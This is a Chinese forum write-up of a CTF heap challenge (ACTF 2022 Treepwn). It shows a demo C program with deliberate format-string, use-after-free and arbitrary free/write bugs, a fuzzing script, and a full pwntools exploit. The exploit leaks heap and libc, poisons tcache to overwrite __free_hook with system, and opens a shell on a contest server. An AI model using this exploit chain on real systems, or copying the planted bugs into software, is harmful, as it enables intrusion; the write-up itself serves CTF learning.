本文为看雪论坛优秀文章
看雪论坛作者ID:Nameless_a
一
前言
今年的XCTF最后一战ACTF圆满结束了,战队最后也是稳住了19名,应该能拿到决赛门票。
但ACTF中,pwn题凄惨爆零。虽然只有俺做,但这不能成为摆烂的理由,毕竟要不断成长为战队主力,而且身边有很多很强的同龄师傅,更不应该气馁。
在军训途中复现了Tree_pwn,在uuu师傅(https://caffeine.darkflow.top/)的引导下学到了如何将fuzz的思想用于比赛的堆题中,于是在此记录一下。
二
什么是Fuzz
考虑很多师傅还不会fuzz或者没听过,在这里再提一下。
以上是百度百科的介绍,未免有些抽象,下面举一个形象的例子:
相信大家都玩过CF,老版本的CF可以卡出一些奇奇怪怪的bug,就比如说,你站在一个箱子的一个角上来回前后前后摩擦步伐,就能够卡进箱子里。
这其实也是一种fuzz,因为我们的移动其实也是一种通过键盘向挂在服务器上的程序的输入,卡进箱子里就是一种程序的漏洞。
三
堆题Fuzz
笔者的这篇文章(https://bbs.pediy.com/thread-272500.htm)讲述了如何用AFL对开源的TCPdump进行fuzz,但一般的fuzz变异的程度太高,这是建立在对TCPdump这样源码码量极大的程序运行流极难分析的情况下的。但是如果熟练掌握程序运行流,写了一些比较好的初始的语料库,那么就能够大大提高fuzz的效率(对于TCPdump在github上就有初始的比较好的语料库)。
而堆题又怎么fuzz呢?看看下面的demo:
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#define N 1000
char* note[N];
void init()
{
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
}
void menu()
{
puts("1.add");
puts("2.delet");
puts("3.edit");
puts("4.show");
puts("5.leak");
puts("6.free");
puts("7.write");
puts("8.exit");
}
void add()
{
int sz,idx;
puts("size:");
scanf("%d",&sz);
puts("idx:");
scanf("%d",&idx);
note[idx]=(char *)malloc(sz);
}
void delet()
{
int idx;
puts("idx:");
scanf("%d",&idx);
free(note[idx]);
}
void edit()
{
int idx,sz;
puts("size:");
scanf("%d",&sz);
puts("idx:");
scanf("%d",&idx);
puts(">>");
read(0,note[idx],sz);
}
void show()
{
int idx;
puts("idx:");
scanf("%d",&idx);
printf(">>: %s",note[idx]);
}
void leak()
{
char buf[100];
puts("input:");
scanf("%s",buf);
printf(buf);
}
void key_free()
{
char* p[1];
puts(">> ");
read(0,p,0x8);
free((char*)p[0]);
}
void write_in()
{
char* p[1];
int sz;
puts(">> ");
read(0,p,0x8);
puts(">> ");
scanf("%d",&sz);
puts(">> ");
read(0,(char*)p[0],sz);
}
int main()
{
int x;
puts("welcome to use my demo");
puts("it will help you know sth about ptmalloc2");
init();
while(1){
menu();
puts(">> ");
scanf("%d",&x);
if(x==1){
add();
}
else if(x==2){
delet();
}
else if(x==3){
edit();
}
else if(x==4){
show();
}
else if (x==5){
leak();
}
else if (x==6){
key_free();
}
else if (x==7){
write_in();
}
else if (x==8){
exit(0);
}
else{
return 0;
}
}
}
我们用如下的python脚本:
def fuzz():
f=open('log.txt','w')
for i in range(0,0x1000):
if i % 10 == 0:
idx=randint(0,0x10)
add(idx,0x20)
f.write('add({},0x20)'.format(idx)+'\n')
elif i % 2 == 0 :
idx=randint(0,0x10)
delet(idx)
f.write('delt({})'.format(idx)+'\n')
elif i % 3 == 0 :
idx=randint(0,0x10)
show(idx)
r.recvuntil('>>: ')
check_char=r.recv(1)
if check_char == '\x55' or check_char == '\x56':
f.write('show({})'.format(idx)+'\n')
break
f.close()
就能够探测出存不存在UAF漏洞和是否能够泄露堆地址:
并且把fuzz过程中使用的指令放在“log.txt”中,方便我们分析crash的成因:
有人会说,你这个程序看看就能看出来UAF和泄露堆地址在哪了:
确实,因为这是我自己写的用来调试ptmalloc2的demo,一般的题不会这么赤裸裸,比如2022ACTF那道Treepwn。
四
题解
题目链接:https://adworld.xctf.org.cn/match/guide?event=186&hash=ba9b2b4c-7265-45ce-aa4b-c917bc5ce1bc.event
libc-2.27.1.6
在ida里面乱点一通,人都傻了,一大堆看不懂的函数。
不过没扣符号表,百度那个显眼的MBR可以知道,函数实现了一棵叶子结点集大小上限为6的R-tree。
简单说说R-tree:
R-tree是一种优化信息查找的平衡树(所有叶子节点都在一层的树),是B-tree向多维空间数据的一个扩展。而在B-tree中查找一个信息等价于在区间上做一次二分,也就是logN的时间复杂度。
R-tree有个重要的概念,就是最小边界矩形MBR(Minimal Bounding Rectangle),以最简单的存放二维空间坐标的R-tree为例:叶子节点就是单个的坐标,叶子节点的父节点就是包含它以及它的兄弟的最小的一个空间矩形,而每个空间矩形有一个最大容纳量,也就是一个矩形中包含的最多的矩形或者点的个数。如下:
黑色的点表示叶子节点,红框和绿框是父节点,蓝筐是父节点的父节点(爷爷节点):
然而想要维护这一棵树需要很多的很复杂的函数,比如插入函数、查找函数、排序函数(平衡树一般插入或者删去节点就会有一个排序)以及达到上限或者下限(一个矩形中的节点删完了)的分裂函数等等,感兴趣的话可以自行了解。
事实说明,自己学了,学完了都不一定能逆懂这个程序,更别提找漏洞了。
于是这个时候我们就可以上fuzz来找漏洞了。
def fuzz():
f=open('./log.txt','w')
for i in range(0x1000):
if(i%10==0):
a = randint(0,8)
b = randint(0,8)
add(a,b,str(i))
data0=r.recvuntil('Choice Table')
if 'two many' in data0:
break
f.write(' add({},{},str({}))\n'.format(a,b,i))
elif(i%2==0):
a = randint(0,8)
b = randint(0,8)
delet(a,b)
data0=r.recvline()
if 'not exists' in data0:
continue
f.write(' delet({},{})\n'.format(a,b))
else:
continue
a = randint(0,8)
b = randint(0,8)
c = randint(0,8)
d = randint(0,8)
query(a,b,c,d)
data0=r.recvuntil('Choice Table')
if 'totally 0 elements' in data0:
continue
elif '\x55' in data0:
f.write(' query({},{},{},{})\n'.format(a,b,c,d))
##f.
break
elif '\x56' in data0:
f.write(' query({},{},{},{})\n'.format(a,b,c,d))
break
f.close()
发现触发了double free(这个触发的堆块就是UAF堆块):
分析crash(甚至可以不分析)发现:
正常的free是有防止UAF的,但是在tree_split_leaf_node函数里面就没有,并且我们可以通过query或者show泄露出堆地址(上面的fuzz脚本如果跑通的话,就表明泄露heap地址了)。
然而add的堆块是统一的0x30大小,如何泄露libc呢?
通过UAF提供的tcache double free修改一个fuzz出UAF堆块的size位为unsorted bin大小,然后free并show就可以泄露libc了。然后再fuzz出一个UAF的堆块,再tcache double free打free_hook就可以getshell了。
也就是说需要fuzz出3个UAF堆块,我是分两次fuzz出的,运气已经很不错了。
from pwn import *
from hashlib import sha256
import os
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
sh.recvuntil(" == ")
cipher = sh.recvline().strip().decode("utf8")
proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() == cipher, string.ascii_letters + string.digits, length=4, method='fixed')
sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
def proofOfWork():
r.recvuntil('Submit the token generated by `')
command = r.recvuntil('`',drop=True)
r.sendline(os.popen(command).read())
def z():
gdb.attach(r)
def cho(num):
r.sendlineafter('> ',str(num))
def add(x,y,name):
cho(0)
r.sendlineafter("value: ",str(x))
r.sendlineafter("value: ",str(y))
r.sendafter("new element name: ",name.ljust(0x20,'\x00'))
def delet(x,y):
cho(1)
r.sendlineafter("want element x-coordinate value: ",str(x))
r.sendlineafter("want element y-coordinate value: ",str(y))
def edit(x,y,name):
cho(2)
r.sendlineafter("want element x-coordinate value: ",str(x))
r.sendlineafter("want element y-coordinate value: ",str(y))
r.sendafter("name: ",name.ljust(0x20,'\x00'))
def show(x,y):
cho(3)
r.sendlineafter('value',str(x))
r.sendlineafter('value',str(y))
def query(a,b,c,d):
cho(4)
r.sendlineafter("value: ",str(a))
r.sendlineafter("value: ",str(b))
r.sendlineafter("value: ",str(c))
r.sendlineafter("value: ",str(d))
def fuzz():
f=open('./log.txt','w')
for i in range(0x1000):
if(i%10==0):
a = randint(0,8)
b = randint(0,8)
add(a,b,str(i))
data0=r.recvuntil('Choice Table')
if 'two many' in data0:
break
f.write(' add({},{},str({}))\n'.format(a,b,i))
elif(i%2==0):
a = randint(0,8)
b = randint(0,8)
delet(a,b)
data0=r.recvline()
if 'not exists' in data0:
continue
f.write(' delet({},{})\n'.format(a,b))
else:
continue
a = randint(0,8)
b = randint(0,8)
c = randint(0,8)
d = randint(0,8)
query(a,b,c,d)
data0=r.recvuntil('Choice Table')
if 'totally 0 elements' in data0:
continue
elif '\x55' in data0:
f.write(' query({},{},{},{})\n'.format(a,b,c,d))
##f.
break
elif '\x56' in data0:
f.write(' query({},{},{},{})\n'.format(a,b,c,d))
break
f.close()
def leak_heap():
global heap
add(1,0,str(0))
add(1,8,str(5))
add(5,6,str(10))
add(1,8,str(15))
add(8,3,str(20))
delet(8,3)
add(8,7,str(25))
add(4,0,str(30))
add(2,6,str(35))
add(6,1,str(40))
add(1,6,str(45))
add(3,7,str(50))
add(8,4,str(55))
delet(3,7)
add(0,5,str(60))
add(4,3,str(65))
add(8,0,str(70))
add(1,8,str(75))
add(1,3,str(80))
add(1,6,str(85))
add(8,6,str(90))
add(7,2,str(95))
delet(0,5)
delet(7,2)
add(7,6,str(100))
add(8,7,str(105))
delet(8,7)
add(2,4,str(110))
add(3,0,str(115))
delet(4,3)
add(3,1,str(120))
delet(8,6)
add(7,8,str(125))
delet(7,8)
add(7,0,str(130))
delet(8,7)
add(7,6,str(135))
add(4,4,str(140))
delet(1,6)
add(0,4,str(145))
add(7,8,str(150))
add(4,8,str(155))
delet(3,1)
add(6,1,str(160))
add(8,0,str(165))
add(3,4,str(170))
delet(7,8)
add(7,4,str(175))
delet(4,8)
delet(1,8)
add(4,5,str(180))
delet(3,0)
add(8,8,str(185))
delet(6,1)
add(7,6,str(190))
delet(8,0)
add(7,3,str(195))
delet(8,0)
add(0,2,str(200))
add(5,1,str(205))
add(5,0,str(210))
add(8,7,str(215))
delet(2,4)
##z()
query(1,0,5,5)
##string=r.recvuntil('\x55')[:-6]
heap=u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00'))-0x10
log.success('heap:'+str(hex(heap)))
def uaf():
##change(1,8)'s size to send it to unsorted bin
add(3,6,str(0))
add(2,0,str(10))
delet(0,4)
delet(8,7)
add(3,2,str(20))
add(6,6,str(30))
delet(8,8)
delet(0,2)
add(0,3,str(40))
delet(3,6)
delet(5,6)
add(1,8,str(50))
delet(7,0)
add(8,8,str(60))
add(0,4,str(70))
delet(3,4)
add(6,1,str(80))
add(7,5,str(90))
##z()
##delet(1,8)
##delet(7,5)
##delet(0,4) ##heap+0x8a8
delet(8,8)
delet(2,0)
##z()
edit(2,0,p64(heap+0x8a0))
add(2,0,'nameless')
add(8,8,p64(0)+p64(0x551))
##z()
##z()
add(4,6,str(0))
delet(8,8)
add(6,7,str(10))
##delet(3,6)
##delet(3,6)
##leak_libc
delet(1,8)
##z()
show(1,8)
r.recvuntil('found!!! its name: ')
libcbase=u64(r.recvuntil('\x7f').ljust(8,'\x00'))-0x3ebca0
log.success('libcbase:'+hex(libcbase))
'''
f=open('log.txt','w')
for i in range(0,9):
for j in range(0,9):
if(i==1 and j==8):continue
delet(i,j)
f.write(str(i)+" "+str(j)+'\n')
f.close()
'''
##set_libc_func
free_hook=libcbase+libc.sym['__free_hook']
system=libcbase+libc.sym['system']
##one=[0x4f2a5,0x4f302,0x10a2fc]
##onegadget=libcbase+one[0]
f=open('log.txt','w')
for i in range(0,9):
for j in range(0,9):
if(i==1 and j==8) : continue
if(i==3 and j==6) : continue
delet(i,j)
f.write(str(i)+" "+str(j)+'\n')
f.close()
##delet(3,6)
##delet(3,6)
## get_shell
##z()
##delet(6,1)
##delet(4,0)
add(66,66,'nameless')
delet(3,6)
##z()
edit(3,6,p64(free_hook))
add(3,6,'/bin/sh\x00')
##z()
log.success('system:'+str(hex(system)))
##z()
add(6,6,p64(system))
delet(3,6)
##z()
##delet(3,6)
##delet(3,6)
##delet(1,7)
##z()
##add(66,66,'nameless')
##z()
##fuzz()
##z()
##delet(4,0)
##delet(4,0)
##delet(4,0)
def exp():
global r
global libc
r=remote("121.36.241.104",9999)
proofOfWork()
##r=process('./treepwn')
libc=ELF('./libc-2.27.so')
##fuzz()
leak_heap()
uaf()
r.interactive()
if __name__ == '__main__':
exp()
最后通过add修改free_hook的时候,可能触发分裂free一个0x50大小的MBR堆块,就会卡死程序,只要在这之前free掉无关的堆块就好了。
看雪ID:Nameless_a
https://bbs.pediy.com/user-home-943085.htm
2.5折门票限时抢购
峰会官网:https://meet.kanxue.com/kxmeet-6.htm
# 往期推荐
1.进程 Dump & PE unpacking & IAT 修复 - Windows 篇
2.NtSocket的稳定实现,Client与Server的简单封装,以及SocketAsyncSelect的一种APC实现
3.如何保护自己的代码?给自己的代码添加NoChange属性
球分享
球点赞
球在看
点击“阅读原文”,了解更多!